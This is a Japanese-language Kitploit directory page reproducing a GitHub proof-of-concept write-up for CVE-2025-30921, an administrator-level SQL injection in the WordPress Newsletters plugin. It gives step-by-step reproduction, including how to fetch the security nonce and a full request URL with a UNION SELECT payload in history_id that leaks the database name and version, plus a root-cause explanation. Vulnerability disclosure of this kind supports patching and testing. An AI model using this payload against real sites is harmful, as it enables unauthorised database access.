Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-30921 — CVE-2025-30921 の PoC | Kitploit
ツール/GitHubGitHub/dottak/cve-2025-30921
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubdottak/cve-2025-30921

CVE-2025-30921

CVE-2025-30921 の PoC

リポジトリを見る
111年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-30921

1️⃣ コンポーネント種別

WordPress プラグイン

2️⃣ コンポーネント詳細

コンポーネント名 Newsletters

影響を受けるバージョン <= 4.9.9.7

コンポーネントスラッグ newsletters-lite

コンポーネントリンク https://wordpress.org/plugins/newsletters-lite/

3️⃣ OWASP 2017: TOP 10

脆弱性クラス A3: インジェクション

脆弱性種別 SQLインジェクション

4️⃣ 前提条件

管理者

5️⃣ 脆弱性の詳細

👉 概要

Newsletters プラグイン バージョン 4.9.9.7 以下のダッシュボード(/wp-admin/admin.php?page=newsletters)で統計概要グラフを表示する際に、URL パラメータの入力検証とエスケープ処理が不十分なために SQL インジェクション脆弱性が発生します。

この脆弱性により、管理者権限を持つ攻撃者が、対象サイトのデータベース情報を取得することが可能です。

👉 再現手順(PoC)

  1. Newsletters プラグイン バージョン 4.9.9.7 以下がインストールされた WordPress サイトを用意します。

  2. Newsletters プラグインのダッシュボードメニュー(/wp-admin/admin.php?page=newsletters)に移動します。

    画像

  3. ブラウザの開発者ツールを使用して、'Elements' タブで action=wpmlwelcomestats&security= を検索し、security の値を確認します。たとえば、検索結果が下図のように表示された場合は、22b1ac0de6 をメモします。

    root@kitploit:~
    // ...
    
    jQuery.getJSON(newsletters_ajaxurl + 'action=wpmlwelcomestats&security=22b1ac0de6', ajaxdata, function(json) {
    
    // ...
    

    画像

  4. メモした security の値を以下の URL パスの <SECURITY VALUE> 部分に入力し、その URL にリクエストを送信します。

    root@kitploit:~
    http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=<SECURITY VALUE>&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23
    

👉 追加情報(任意)

[脆弱性の根本原因]

上記 PoC で SQL インジェクション脆弱性が発生する URL をリクエストすると、/wp-content/plugins/newsletters-lite/wp-mailinglist-plugin.php ファイル内の ajax_welcomestats 関数が呼び出されます。

このとき、リクエストパラメータ history_id は SQL クエリ文字列の条件句として直接参照され、変数 $history_condition として初期化されます。この変数は、エスケープ処理を一切行わずにデータベースクエリへ渡されます。

画像

したがって、URL パラメータ history_id に入力された値に対する検証やエスケープ処理がないため、SQL インジェクション脆弱性が発生します。(なお、URL パラメータ from および to も、入力検証とエスケープ処理の不備により、SQL インジェクション攻撃の影響を受けます。)

6️⃣ エクスプロイトデモ

動画

7️⃣ 参照

  • https://nvd.nist.gov/vuln/detail/CVE-2025-30921
ツールをダウンロード

URL パラメータのうち、history_id に SQL インジェクションのペイロードが含まれており、データベース名(DATABASE())とバージョン(@@VERSION)を取得できます。たとえば、security の値が 22b1ac0de6 の場合、次の URL にアクセスします。

http://localhost:8080/wp-admin/admin-ajax.php?action=wpmlwelcomestats&security=22b1ac0de6&type=years&chart=bar&from=2024-12-31&to=2024-12-31&history_id=FOO%27+UNION+SELECT+(CONCAT((DATABASE()),%22-%22,(@@VERSION))),NULL+LIMIT+1,2+%23

  • URL リクエストのレスポンスを確認すると、history_id パラメータを介した SQL インジェクション脆弱性によって、データベース名とバージョン情報が露出していることを確認できます。

    画像